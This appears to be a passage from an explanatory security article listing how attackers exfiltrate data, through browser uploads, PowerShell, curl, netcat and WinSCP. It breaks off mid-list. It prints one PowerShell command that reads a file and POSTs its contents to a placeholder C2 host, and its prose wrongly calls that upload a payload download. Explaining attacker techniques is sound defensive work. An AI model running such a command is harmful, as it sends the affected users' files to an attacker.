Data exfiltration
Each new compromised asset is of genuine interest to the attacker. Every piece of useful information is collected and examined and the most valuable ones are being exfiltrated to the adversaries’ infrastructure. Well, there are a huge variety of options. Let’s discuss how data getaways happen.
First, there are some obvious methods:
- Web browser: An interactive session is opened with the victim’s host. Here, attackers simply open a web browser, visit their website, and upload files directly.
- PowerShell: The easiest example is to execute a script that downloads a payload from the provided URI and runs it using the designed method:
$contents = Get-Content <Full path to the file> Invoke-WebRequest -Uri http://c2[.]<tld>/<URI> -Method POST -Body $ contents
- curl, netcat: These are used to query web resources for accessibility, establish a session, and drop the payload to the infected host.
- WinSCP: This is a client...
